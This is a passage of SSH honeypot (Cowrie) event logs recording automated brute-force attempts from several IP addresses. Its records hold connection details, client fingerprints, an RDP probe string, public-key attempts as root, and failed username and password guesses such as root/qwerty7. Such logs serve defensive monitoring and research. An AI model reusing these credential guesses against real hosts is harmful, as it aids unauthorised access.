openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:34.150425Z","src_ip":"43.130.29.69","session":"5504aebed508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Azure","password":"YuLiShoping123...","message":"login attempt [Azure/YuLiShoping123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:34.457573Z","src_ip":"43.130.29.69","session":"5504aebed508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:35.529464Z","src_ip":"43.130.29.69","session":"5504aebed508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63764,"dst_ip":"159.203.135.109","dst_port":22,"session":"18231364e2e0","protocol":"ssh","message":"New connection: 152.42.212.128:63764 (159.203.135.109:22) [session: 18231364e2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:37.063402Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:37.068904Z","src_ip":"152.42.212.128","session":"18231364e2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:19:37.073253Z","src_ip":"152.42.212.128","session":"18231364e2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41092,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7dd860b441","protocol":"ssh","message":"New connection: 80.66.85.226:41092 (10.17.0.5:22) [session: 7e7dd860b441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:15.938498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:15.945845Z","src_ip":"80.66.85.226","session":"7e7dd860b441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:16.039273Z","src_ip":"80.66.85.226","session":"7e7dd860b441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:16.318346Z","src_ip":"80.66.85.226","session":"7e7dd860b441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:17.414296Z","src_ip":"80.66.85.226","session":"7e7dd860b441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9d78c9a42a","protocol":"ssh","message":"New connection: 185.236.22.41:59388 (10.17.0.5:22) [session: 1e9d78c9a42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:33.744004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:33.749966Z","src_ip":"185.236.22.41","session":"1e9d78c9a42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:33.858397Z","src_ip":"185.236.22.41","session":"1e9d78c9a42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty7","message":"login attempt [root/qwerty7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:34.273113Z","src_ip":"185.236.22.41","session":"1e9d78c9a42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:35.385359Z","src_ip":"185.236.22.41","session":"1e9d78c9a42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53094,"dst_ip":"10.17.0.5","dst_port":22,"session":"9391073895ad","protocol":"ssh","message":"New connection: 80.94.92.184:53094 (10.17.0.5:22) [session: 9391073895ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:42.838542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:43.076463Z","src_ip":"80.94.92.184","session":"9391073895ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:43.080178Z","src_ip":"80.94.92.184","session":"9391073895ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:44.048854Z","src_ip":"80.94.92.184","session":"9391073895ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:45.377824Z","src_ip":"80.94.92.184","session":"9391073895ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":50842,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f47cd9df83","protocol":"ssh","message":"New connection: 43.130.29.69:50842 (159.203.135.109:22) [session: 65f47cd9df83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:48.885347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:48.890962Z","src_ip":"43.130.29.69","session":"65f47cd9df83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:48.960988Z","src_ip":"43.130.29.69","session":"65f47cd9df83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zse4xdr5","message":"login attempt [root/zse4xdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:49.272318Z","src_ip":"43.130.29.69","session":"65f47cd9df83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:20:50.345628Z","src_ip":"43.130.29.69","session":"65f47cd9df83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.110","src_port":6942,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97c6d7b830c","protocol":"ssh","message":"New connection: 89.45.12.110:6942 (10.17.0.5:22) [session: e97c6d7b830c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.003354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.009043Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.145001Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:73:b5:7a:d8:10:db:f8:5b:17:6d:9f:20:7e:88:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/gImTT0ZU+yYYhtTJNXM9kV6sVGTudpyDtX0u5/GSnQUKshmeE2QP7wdAxOPxrKCOPoM5nuOpYvXoVmWa+svTs60Chwyr3h8LVBsxefplHtjnogULHIAvG6nTM9OzsvDlZzS/meoY4jiCA9Ar5VfPsr3hmfQSCNutgzkqsdXHsM3yRZw6QOlEPxKkVMWjxl9GR2PmVFmXwCx6pKk3pXhaQOM5HYaVhE/TKufKkTQWHZJTcbQ+aXpQZWQHRHwsXgb/8SmUaaGIWkx9qHgPhF5I5Kwt1G5HoRY25Tt2A5gDS/Hl9lkr7wNMta8wrjOJY1Ii//yHV+v0dDfQnTZSbVNx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:73:b5:7a:d8:10:db:f8:5b:17:6d:9f:20:7e:88:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.766383Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:73:b5:7a:d8:10:db:f8:5b:17:6d:9f:20:7e:88:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/gImTT0ZU+yYYhtTJNXM9kV6sVGTudpyDtX0u5/GSnQUKshmeE2QP7wdAxOPxrKCOPoM5nuOpYvXoVmWa+svTs60Chwyr3h8LVBsxefplHtjnogULHIAvG6nTM9OzsvDlZzS/meoY4jiCA9Ar5VfPsr3hmfQSCNutgzkqsdXHsM3yRZw6QOlEPxKkVMWjxl9GR2PmVFmXwCx6pKk3pXhaQOM5HYaVhE/TKufKkTQWHZJTcbQ+aXpQZWQHRHwsXgb/8SmUaaGIWkx9qHgPhF5I5Kwt1G5HoRY25Tt2A5gDS/Hl9lkr7wNMta8wrjOJY1Ii//yHV+v0dDfQnTZSbVNx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.770283Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:b1:72:d4:86:20:3f:82:08:cb:a6:aa:5e:65:45:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP1lv/DzsfV1Lx+fuaJO35vqWJGCXF0ByvtcxSo4Ctr1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 77:b1:72:d4:86:20:3f:82:08:cb:a6:aa:5e:65:45:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.899228Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:b1:72:d4:86:20:3f:82:08:cb:a6:aa:5e:65:45:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP1lv/DzsfV1Lx+fuaJO35vqWJGCXF0ByvtcxSo4Ctr1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:43.903134Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:c2:e3:a5:b0:13:ad:69:41:f2:a3:3a:01:24:7a:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKR4FZDsLAEWH5yS8qcn1TdvsoK7V27pqnygbnK3Tyub","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f4:c2:e3:a5:b0:13:ad:69:41:f2:a3:3a:01:24:7a:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.032236Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:c2:e3:a5:b0:13:ad:69:41:f2:a3:3a:01:24:7a:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKR4FZDsLAEWH5yS8qcn1TdvsoK7V27pqnygbnK3Tyub","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.035813Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:5e:45:ed:ab:f6:53:0f:0f:e6:7b:70:86:19:85:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC5pwusS7+bRimSGzs6C0LMsfDjhGy+LUw+hNMVCj2fS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 18:5e:45:ed:ab:f6:53:0f:0f:e6:7b:70:86:19:85:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.165250Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:5e:45:ed:ab:f6:53:0f:0f:e6:7b:70:86:19:85:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC5pwusS7+bRimSGzs6C0LMsfDjhGy+LUw+hNMVCj2fS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.169158Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:1f:46:a3:bd:a5:3a:56:0c:65:9c:3e:03:31:77:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7YHAi/3GNv/6qnyAtsuTBCAmae48/neuq23HGPt/kq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6a:1f:46:a3:bd:a5:3a:56:0c:65:9c:3e:03:31:77:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.301781Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:1f:46:a3:bd:a5:3a:56:0c:65:9c:3e:03:31:77:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7YHAi/3GNv/6qnyAtsuTBCAmae48/neuq23HGPt/kq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.305560Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:21:44.435375Z","src_ip":"89.45.12.110","session":"e97c6d7b830c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":46138,"dst_ip":"159.203.135.109","dst_port":22,"session":"976d02f01573","protocol":"ssh","message":"New connection: 43.130.29.69:46138 (159.203.135.109:22) [session: 976d02f01573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:03.883713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:03.888779Z","src_ip":"43.130.29.69","session":"976d02f01573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","a